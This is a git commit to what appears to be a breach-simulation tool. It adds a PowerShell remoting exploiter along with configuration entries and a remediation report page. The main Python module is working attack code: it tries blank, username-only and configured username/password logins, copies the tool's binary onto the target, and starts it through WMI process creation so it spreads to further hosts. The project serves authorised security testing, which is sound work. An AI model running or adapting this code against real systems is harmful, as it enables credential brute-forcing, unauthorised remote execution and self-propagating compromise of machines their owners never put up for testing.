Added powershell remoting exploiter.

This commit is contained in:
VakarisZ 2021-06-09 11:54:20 +03:00 committed by Shreya Malviya
parent 55a817931d
commit 9966c54fe2
7 changed files with 197 additions and 3 deletions

View File

@ -6,7 +6,11 @@ class FailedExploitationError(Exception):
""" Raise when exploiter fails instead of returning False """ """ Raise when exploiter fails instead of returning False """
class InvalidRegistrationCredentialsError(Exception): class CredentialsError(Exception):
""" Raise when credentials are wrong"""
class InvalidRegistrationCredentialsError(CredentialsError):
""" Raise when server config file changed and island needs to restart """ """ Raise when server config file changed and island needs to restart """

View File

@ -0,0 +1,152 @@
import logging
import os
import typing
import spnego
from pypsrp.client import Client
from pypsrp.powershell import PowerShell, RunspacePool
from urllib3 import connectionpool
import infection_monkey.monkeyfs as monkeyfs
from common.utils.exceptions import FailedExploitationError
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import (
build_monkey_commandline,
get_monkey_depth,
get_target_monkey_by_os,
)
from infection_monkey.exploit.web_rce import WIN_ARCH_32, WIN_ARCH_64
from infection_monkey.model import DROPPER_ARG, GET_ARCH_WINDOWS, RUN_MONKEY, VictimHost
LOG = logging.getLogger(__name__)
TEMP_MONKEY_BINARY_FILEPATH = "./monkey_temp_bin"
class PowershellExploiter(HostExploiter):
# attack URLs
_TARGET_OS_TYPE = ["windows"]
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
_EXPLOITED_SERVICE = "Powershell remote"
def __init__(self, host: VictimHost):
# If pysrp will inherit root logger, it will log extensive and potentially sensitive info
logging.getLogger("pypsrp").setLevel(logging.ERROR)
logging.getLogger(spnego.__name__).setLevel(logging.ERROR)
logging.getLogger(connectionpool.__name__).setLevel(logging.ERROR)
super().__init__(host)
self.client = None
def _exploit_host(self):
try:
self.client = self.exploit_without_credentials()
except FailedExploitationError:
LOG.info("Failed exploitation without credentials.")
try:
self.client = self.exploit_with_usernames_only(
usernames=self._config.exploit_user_list
)
except FailedExploitationError:
LOG.info("Failed exploitation using username list.")
try:
self.client = self.exploit_with_credentials(
self._config.get_exploit_user_password_pairs()
)
except FailedExploitationError:
LOG.info("Failed exploitation using credentials from configuration. Quiting.")
return False
arch = self.get_host_arch()
monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=(arch == WIN_ARCH_32))
# write virtual file to actual local file
with monkeyfs.open(monkey_fs_path) as monkey_virtual_file:
with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file:
monkey_local_file.write(monkey_virtual_file.read())
try:
if arch == WIN_ARCH_32:
monkey_path_on_victim = self._config.dropper_target_path_win_32
else:
monkey_path_on_victim = self._config.dropper_target_path_win_64
self.client.copy(TEMP_MONKEY_BINARY_FILEPATH, monkey_path_on_victim)
except Exception:
return False
finally:
os.remove(TEMP_MONKEY_BINARY_FILEPATH)
monkey_params = build_monkey_commandline(
target_host=self.host,
depth=get_monkey_depth() - 1,
vulnerable_port=None,
location=monkey_path_on_victim,
)
monkey_execution_command = RUN_MONKEY % {
"monkey_path": monkey_path_on_victim,
"monkey_type": DROPPER_ARG,
"parameters": monkey_params,
}
with self.client.wsman, RunspacePool(self.client.wsman) as pool:
ps = PowerShell(pool)
ps.add_cmdlet("Invoke-WmiMethod").add_parameter("path", "win32_process").add_parameter(
"name", "create"
).add_parameter("ArgumentList", monkey_execution_command)
ps.invoke()
return True
def exploit_without_credentials(self) -> Client:
return self.try_exploit()
def exploit_with_usernames_only(self, usernames: typing.List[str]) -> Client:
for username in usernames:
try:
client = self.try_exploit(username)
return client
except FailedExploitationError:
pass
raise FailedExploitationError
def exploit_with_credentials(
self, credential_list: typing.List[typing.Tuple[str, str]]
) -> Client:
for username, password in credential_list:
try:
client = self.try_exploit(username, password)
return client
except FailedExploitationError:
pass
raise FailedExploitationError
def try_exploit(
self, username: typing.Optional[str] = None, password: typing.Optional[str] = None
) -> Client:
try:
with Client(
self.host.ip_addr,
username=username,
password=password,
cert_validation=False,
) as client:
# attempt to execute dir command to know if authentication was successful
client.execute_cmd("dir")
return client
except Exception:
raise FailedExploitationError
def get_host_arch(self) -> typing.Union[WIN_ARCH_32, WIN_ARCH_64]:
output = self.execute_cmd_on_host(GET_ARCH_WINDOWS)
if "64-bit" in output:
return WIN_ARCH_64
else:
return WIN_ARCH_32
def execute_cmd_on_host(self, cmd: str) -> str:
output, _, _ = self.client.execute_cmd(cmd)
return output

View File

@ -26,6 +26,7 @@ BASIC = {
"VSFTPDExploiter", "VSFTPDExploiter",
"MSSQLExploiter", "MSSQLExploiter",
"DrupalExploiter", "DrupalExploiter",
"PowershellExploiter",
], ],
} }
}, },

View File

@ -154,5 +154,11 @@ EXPLOITER_CLASSES = {
"link": "https://www.guardicore.com/infectionmonkey" "link": "https://www.guardicore.com/infectionmonkey"
"/docs/reference/exploiters/zerologon/", "/docs/reference/exploiters/zerologon/",
}, },
{
"type": "string",
"enum": ["PowershellExploiter"],
"title": "Powershell Exploiter",
"info": "Exploits powershell remote execution setups.",
},
], ],
} }

View File

@ -52,6 +52,7 @@ import {
zerologonIssueReport, zerologonIssueReport,
zerologonOverviewWithFailedPassResetWarning zerologonOverviewWithFailedPassResetWarning
} from './security/issues/ZerologonIssue'; } from './security/issues/ZerologonIssue';
import {powershellIssueOverview, powershellIssueReport} from './security/issues/PowershellIssue';
class ReportPageComponent extends AuthComponent { class ReportPageComponent extends AuthComponent {
@ -142,6 +143,11 @@ class ReportPageComponent extends AuthComponent {
[this.issueContentTypes.REPORT]: shellShockIssueReport, [this.issueContentTypes.REPORT]: shellShockIssueReport,
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER [this.issueContentTypes.TYPE]: this.issueTypes.DANGER
}, },
'PowershellExploiter': {
[this.issueContentTypes.OVERVIEW]: powershellIssueOverview,
[this.issueContentTypes.REPORT]: powershellIssueReport,
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
},
'Ms08_067_Exploiter': { 'Ms08_067_Exploiter': {
[this.issueContentTypes.OVERVIEW]: ms08_067IssueOverview, [this.issueContentTypes.OVERVIEW]: ms08_067IssueOverview,
[this.issueContentTypes.REPORT]: ms08_067IssueReport, [this.issueContentTypes.REPORT]: ms08_067IssueReport,
@ -297,8 +303,7 @@ class ReportPageComponent extends AuthComponent {
<p className='alert alert-info'> <p className='alert alert-info'>
<FontAwesomeIcon icon={faExclamationTriangle} style={{'marginRight': '5px'}}/> <FontAwesomeIcon icon={faExclamationTriangle} style={{'marginRight': '5px'}}/>
To improve the monkey's detection rates, try adding users and passwords and enable the "Local To improve the monkey's detection rates, try adding users and passwords and enable the "Local
network network scan" config value under <b>Basic - Network</b>.
scan" config value under <b>Basic - Network</b>.
</p> </p>
} }
<p> <p>

View File

@ -0,0 +1,25 @@
import React from 'react';
import CollapsibleWellComponent from '../CollapsibleWell';
export function powershellIssueOverview() {
return (<li>Windows servers allow powershell remote command execution.</li>);
}
export function powershellIssueReport(issue) {
return (
<>
Restrict powershell remote command execution and/or
harden the credentials of relevant users.
<CollapsibleWellComponent>
The machine <span className="badge badge-primary">{issue.machine}</span> (<span
className="badge badge-info" style={{margin: '2px'}}>{issue.ip_address}</span>) was
exploited via <span
className="badge badge-danger">Powershell remoting</span>.
<br/>
The attack was made possible because the target machine had
Powershell remoting enabled and Monkey
had access to correct credentials.
</CollapsibleWellComponent>
</>
);
}

View File

@ -86,6 +86,7 @@ _.do_HEAD # unused method (monkey/infection_monkey/transport/http.py:61)
_.do_GET # unused method (monkey/infection_monkey/transport/http.py:38) _.do_GET # unused method (monkey/infection_monkey/transport/http.py:38)
_.do_POST # unused method (monkey/infection_monkey/transport/http.py:34) _.do_POST # unused method (monkey/infection_monkey/transport/http.py:34)
_.do_GET # unused method (monkey/infection_monkey/exploit/weblogic.py:237) _.do_GET # unused method (monkey/infection_monkey/exploit/weblogic.py:237)
PowershellExploiter # (monkey\infection_monkey\exploit\powershell.py:27)
ElasticFinger # unused class (monkey/infection_monkey/network/elasticfinger.py:18) ElasticFinger # unused class (monkey/infection_monkey/network/elasticfinger.py:18)
HTTPFinger # unused class (monkey/infection_monkey/network/httpfinger.py:9) HTTPFinger # unused class (monkey/infection_monkey/network/httpfinger.py:9)
MySQLFinger # unused class (monkey/infection_monkey/network/mysqlfinger.py:13) MySQLFinger # unused class (monkey/infection_monkey/network/mysqlfinger.py:13)